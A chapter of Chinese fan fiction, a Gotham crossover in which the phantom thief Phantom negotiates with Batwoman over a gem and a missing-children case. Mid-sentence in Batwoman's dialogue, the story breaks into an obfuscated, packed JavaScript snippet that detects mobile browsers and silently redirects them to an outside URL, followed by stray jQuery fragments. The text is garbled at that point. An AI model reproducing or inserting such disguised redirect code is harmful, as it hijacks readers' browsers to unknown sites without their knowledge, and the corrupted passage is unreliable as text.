富兰克林偶尔也想报警，比如现在。


    怎么了，法国怪盗不能报警的吗？诚然独自一人行走是酷炫的选择，但是我的超级智慧告诉我，要使用我的超级人脉了。


    不过，目标对象不是GCPD，而是这个城市的传说，即时响应的侦探，又或者说都市异闻。


    哥谭贫弱的市局显然指望不上，再加上近段时间，卡罗尔市长拼尽全力无法战胜的摇摆态度，这位市长由于打假赛似的提前被知名乐子人小丑塞入下水管道，被地下暗河冲走的那天，由于蝙蝠侠的救护，幸免于退出生物圈，此刻正在医院静养。他其实很期待接下来卡罗尔市长的发言。


    那其实市长都被设坑了，富兰克林看到《哥谭公报》的透露的“机密”消息时，也是大脑变得平滑，感觉思维钝化，然后他就对这座城市产生了剧烈的兴趣。


    到底怎么做到的？


    怎么能这样？


    实话说，富兰克林的消息接收得太晚，溯源应该指向韦恩夫妇被混混枪杀的夜晚。


    富兰克林此时尚不知道这意味着什么，但哥谭人都默认，这是某个传说拉开序幕的时刻。


    自此以后，什么妖魔鬼怪都粉墨登场。


    哥谭作为一座暗灰色砖石堆砌的城市，一个仅售单程票的航船，这座烂摊子的如何解决，都会给社会学提供无论成功还是失败的宝贵经验。


    虽然，原则上政客们都做出了没有人可以凌驾于法律之上的态度，但政客有政客的凌驾，义警有义警的凌驾，超反有超反的凌驾，可谓是三方混战各显神通，方法齐全花样众多，截止目前，仍旧在更新船新版本。


    哥谭市民对法制的信心一度超过了F国，真抱歉，他是说如果换个故乡，他绝对当不了怪盗。


    如果哥谭市政清廉会出现这么一大串蝙蝠吗？一个也就算了，怎么一群群的来，这算什么哥谭的特色生物吗？


    噢，论动物还排不上位置，极易攻击到反派们，比如纵火的萤火虫、下水管道的鳄鱼人、热爱演出的猪面人、冰山餐厅的企鹅人等等，一大票阿卡姆优秀人才可谓哥谭群星闪耀时刻，据他的情报网，暂时位列最丰富的反派库，以及没有之一。


    这样一看，知名植物保护学家毒藤女显得形单影只，她最好永远单着，哥谭市有她一个已经足够拥挤了。


    但说实话，蝙蝠系列义警们在富兰克林眼里，早已被划入了尊重法律的那批，他们只是辅助GCPD干了执法的活，那司法不都丢给GCPD挂起来了吗，蒙面既是保护也是态度有谁懂的。


    够了，把这个念头放下吧。


    富兰克林从兜里掏出卷烟，手法熟练的给自己来上一次雾化吸入。


    凯特的反击来得很快，在富兰克林习惯性打开地方日报，通读资讯的时候，栏目间的一条消息引起了他的注意。


    寻物启事。


    鄙人于昨日晚上八点的哥谭市区遗失白纱一顶，望拾到者寄送地址富兰克林大街767号。此物对我非常重要，望拾到者与我联系，若能归还，必有重谢！


    没头没尾，留下了一个富兰克林大街上不存在的门牌号，以及孤零零的联系方式，完全一幅有缘者得的样式。


    富兰克林了然，放下去的钩子有人上网了。


    他熟练的开始调查联络方式是否有陷阱，然后花时间搭建新的无法被溯源的地址。


    的确，他不知道如何联系蝙蝠女侠，三天前，他曾经假扮过玛利亚的叔叔，摸进GCPD查看布局，为晚上的盗窃和老警察的身份做铺垫，顺便调查委托人玛利亚的事。


    他从受害者的口供的纸质记录中得知，有疑似蝙蝠女侠的红发覆面女性，出现在受害人家的窗户。


    然后你们就顺滑的接受了哥谭蒙面义警喜加一的现实，并取个绰号，叫她蝙蝠女侠？措施呢？富兰克林觉得牙齿幻痛，并感慨GCPD的实用主义和松弛有度。


    富兰克林感慨归感慨，还是不辞辛苦，三天前，去滴水兽上蹲了一晚上，可惜除去一身雪花，一根红色的毛都没看见，预告时间将近，他只能悻悻的放弃这个念头。


    他又不可能去摇蝙蝠灯，说真的，你们蝙蝠不留联系方式的吗？就当是为了你们的超级人脉？


    噢，阿卡姆粉丝团，他把这茬忘了。


    唉，家家有本难念的经。


    富兰克林痛骂完阿卡姆的过激份子干的好事，然后双手插兜，开始琢磨蝙蝠女侠的行为。


    想想看倒也正常，蝙蝠女侠将失踪儿童视为自己的责任，大概率一门心思扑在哭泣女人的案子上，而亲属们的走访和口供大致也已录完，在案子结束、或者有进展时，她会来一趟，然后没了。


    就像侦探，只在委托开始和委托结束时露面，其余时候神龙不见首尾。


    据GCPD相关探员推测，有极大的可能，这位疑似蝙蝠女侠的红发女性，对哭泣女人案子有一定的了解，但这里是哥谭，他要如何联系她，而不是误打误撞摇到另一只男性蝙蝠呢？


    登报？哈哈，效率不如随机献祭一个阿卡姆病人让蝙蝠侠去抓，只要放跑的够多，蝙蝠侠就不会抓他了——才怪。这主意烂透了，不如去砸GCPD顶楼的蝙蝠灯。


    别出馊主意，蝙蝠侠的拳头一定会亲密接触他的脸的。


    所以他只能迂回，恰好，又有不知名的神秘委托人拜托他偷宝石，诶，这不是巧了。


    于是，富兰克林爽朗的把信息写进预告函，空留蝙蝠家族众人对他的预告函想得头秃。


    富兰克林翻开电话簿，习惯性的复核联系方式。的确是没有确认地址的三无账号，于是，他只能按照信息，语言留言电子地址，随后挂断电话，走出电话亭。他花点心思，使用的也是经过多重跳转的空白信箱。


    数小时后，富兰克林收到来自蝙蝠女侠的匿名信息，这位义警终于愿意留言回复，上面只有一个坐标和时间——正是他预料中的见面地点和时刻。


    午夜，一处足以俯瞰城市的废弃钟楼的顶层阁楼，凌冽的夜风呼啸而过。


    当富兰克林身着裁剪合体的亮蓝色风衣，从容抵达时，蝙蝠女侠已经伫立在钟楼边缘。


    她穿着蝙蝠制服，火焰般的长发散在夜色中，比时尚杂志的艺术画剪影更加锐利。


    面具遮挡了她的目光，她的嘴唇抿紧，不带任何多余的情绪。


    蝙蝠女侠没有召集人员，她预想中也需要推进这部分对话，不回复的时间是去联系人追查地址去了。显然，技术人员铩羽而归。至少目前没有好消息。


    不过，马德拉黄水晶那儿却有了收获，蝙蝠侠白天跑去联络点，告知宝石里疑似藏有残缺的图案，凯特按照手法，复刻了一遍流程，这或许是怪盗Phantom万里迢迢盯上它的原因，这让蝙蝠女侠心里有了底气。


    怪盗Phantom：“晚上好，蝙蝠女侠。”


    蝙蝠女侠没有问好，她看向走来的男子：“富兰克林大街上的幽灵。”


    其实，蝙蝠女侠有些意外，她预想中的怪盗Phantom会更高些，但显然面前的男人距离布鲁斯的身高略差一截。


    亮蓝色风衣，领带，皮鞋，手套，肩头的辅助臂甲模块以及精炼的皮革元素，实话说，这小子衣品不错，简单的三件套也能穿出自己的风格。


    凯特·凯恩，二代蝙蝠女侠矜持的撩起眼皮。


    他甚至不蒙面，太棒了。虽然怪盗Phantom的脸皮早已被标记成什么先进的仿生面具，不上手摸不清楚真假的款式，不过，她支持哥谭的所有精神病都去学习这种大无畏的精神，方便她做辨识工作。


    也就是火鸟没来，不然这场对话迟早发展成怪盗的追逐战。


    惹了蝙蝠还想跑？跟零百加速仅需三秒的蝙蝠车说去吧，看流线型就知道不是善茬。


    蝙蝠女侠：“Phantom，你应该知道碰哥谭的东西，能获得的也不过报纸上的几条称赞。”


    怪盗Phantom：“我倒觉得这场戏意外地精彩，频繁更换的剧目令人应接不暇。我不禁好奇，你究竟想谈什么？”


    蝙蝠女侠：“一笔交易。”


    怪盗Phantom耸耸肩，他轻盈地靠近几步：“我以为你会更在意丢失的收藏品，没想到你更想谈交易。”


    她将一块布包裹的黄宝石从腰间解下，掷到他脚边：“第三颗，真的。你想要的藏宝图藏在里面。我想要等价的东西。”


    怪盗Phantom眉梢微挑：“你知道它的秘密......不简单，蝙蝠女侠。”


    “也不复杂，”她冷冷回应，“你知道最近的失踪的孩童案的真相。政府和GCPD在调查，但始终没有成果，我查到了线索，却缺最后一环。你告知了火鸟关于美杜莎的事情，想必不是烂好心。”


    怪盗Phantom沉默片刻，然后缓缓直起身：“你打算拿这颗宝石来买情报？”


    “不止，”她走近一步，目光如炬，“你很清楚我不仅想知道真相，我需要你帮我潜进美杜莎的秘密基地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621625|172273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    富兰克林捡起宝石，手指摩挲着表面，看似检查马德拉黄水晶里的藏宝图，实则内心权衡，是要借坡下驴，还是直接转身离开。


    蝙蝠女侠肃然站立，她等待怪盗的回复，如果怪盗不答应，那么她还有计划B。


    正如蝙蝠家族所推测的，富兰克林大街上的幽灵，这位国际大盗确实有实力直接偷走宝石，然后像往常一样销声匿迹，怪盗Phantom并不是哥谭市的常驻反派，直到再次发出预告函，世界才会再度捕捉到他的行踪。


    蝙蝠女侠虽然好奇为什么Phantom仍旧沉默，她试图进行试探，不过都被富兰克林随口敷衍了事。


    而在富兰克林的视角，这比交易血亏。


    一枚马德拉黄水晶，一个开启玛丽女王藏宝库钥匙，换取一个足以撼动哥谭地下的大秘密？


    他可不想做完马前卒，还得帮人火中取栗。


    怪盗Phantom：“宝石换情报，不稀奇。但你要的不止是情报，你想要我下场。”


    蝙蝠女侠：“你的技术能帮我追踪那群人的秘密基地，而你寻找秘密通道的手法，没人能比得过。”


    富兰克林挑起眉毛，寻找密室，简单，怪盗Phantom能把哥谭复杂的地下溶洞系统摸得八九不离十，更何况，只需要循着被美杜莎打压的阿博特的道路，反向溯源即可，纯粹的技术活。


    但是仅此而已？


    有意思。


    怪盗Phantom抛接着宝石，突然发问：“鳄鱼人上次出现在什么时候？”


    蝙蝠女侠：“美杜莎和杀手鳄有关？”


    富兰克林当然不可能回答说，他有一个未经确认的猜想，而鳄鱼人身上有线索，他只是随口找句漂亮话敷衍：“我不屑于用赝品敷衍观众，女士。”


    这便算默认了。


    蝙蝠女侠皱起眉头，她没有第一时间怀疑，哥谭实在太有黑暗滋生的土壤了，发生什么都不令她意外。


    蝙蝠女侠权衡过后，最终报出真实地址：“五天前有目击记录，在哥谭码头，涉及五名少女的绑架案，去向不明。”她接着报出详细的目击地点。


    就是这个！富兰克林停下抛接宝石的手，为此冒一次风险也值得。


    怪盗Phantom随手屏蔽完黄水晶的蝙蝠小道具，将宝石收入怀中，蝙蝠女侠明白，这便算认下这笔交易了。


    他暗中记下地址，计划回去核查，表面却波澜不惊：“美杜莎的基地在哥谭市港口的正中心，科技手段无法探查，您需要一位懂魔法的人，越懂越好。”


    蝙蝠女侠回了个疑惑的眼神。富兰克林发誓，他从那张纹丝不动的面罩里看到玄乎其玄的眼神。


    他看着蝙蝠女侠，内心有种不妙的预感：“我需要有人帮忙解除咒语。”


    蝙蝠女侠：“魔法？”


    两人面面相觑，此刻，富兰克林才明白违和感从何而来，哥谭与他那边的规矩不一样，魔法物品是稀有货，他倒是赚足信息差。


    怪盗Phantom：“看来您不知道美杜莎涉及魔法，真遗憾。”


    电光火石之间，蝙蝠女侠已经想通关窍，这位能够从血迹分析出作案模式的传统型侦探顿时无语，她以为哭泣女人案子是科技树歪出新的发展趋向，没想到是魔法，阿卡姆疯子们过度发达的科技，或许带偏了不少义警的探案思路。


    不过，魔法？这算不上普通人能知道的秘密。


    蝙蝠女侠冷笑道：“你果然知道的太多。”


    怪盗Phantom：“我的荣幸，女士。我给您一点时间，三天后，我们在哥谭的5号船坞见面。我带你进去，但从那刻开始，我们是合伙人，不是对立面。”


    蝙蝠女侠伸出手：“成交。”


    他没有选择握手，反倒退了一步，向她行了一礼，姿态优雅至极，接着将一颗小型银球抛向地面。


    砰——


    银球在地面炸开一团烟雾，霎时在港口天台上弥漫开来，如同舞台上落下的幕布，遮蔽视线。蝙蝠女侠下意识地拔出钩索枪，身体绷紧前冲，穿过雾障，却发现空无一人。


    没有钩爪的回响，没有脚步的余音，连蝙蝠女侠的红外线可视眼镜也没有捕捉到任何可能的人影。


    怪盗Phantom仿佛从这座城市中蒸发，唯有地面的一张扑克牌——黑桃A，静静躺在她脚边。


    明月当空，港口灯火阑珊，仿佛这场会面只是梦境的残影，蝙蝠女侠立在风中，久久未动。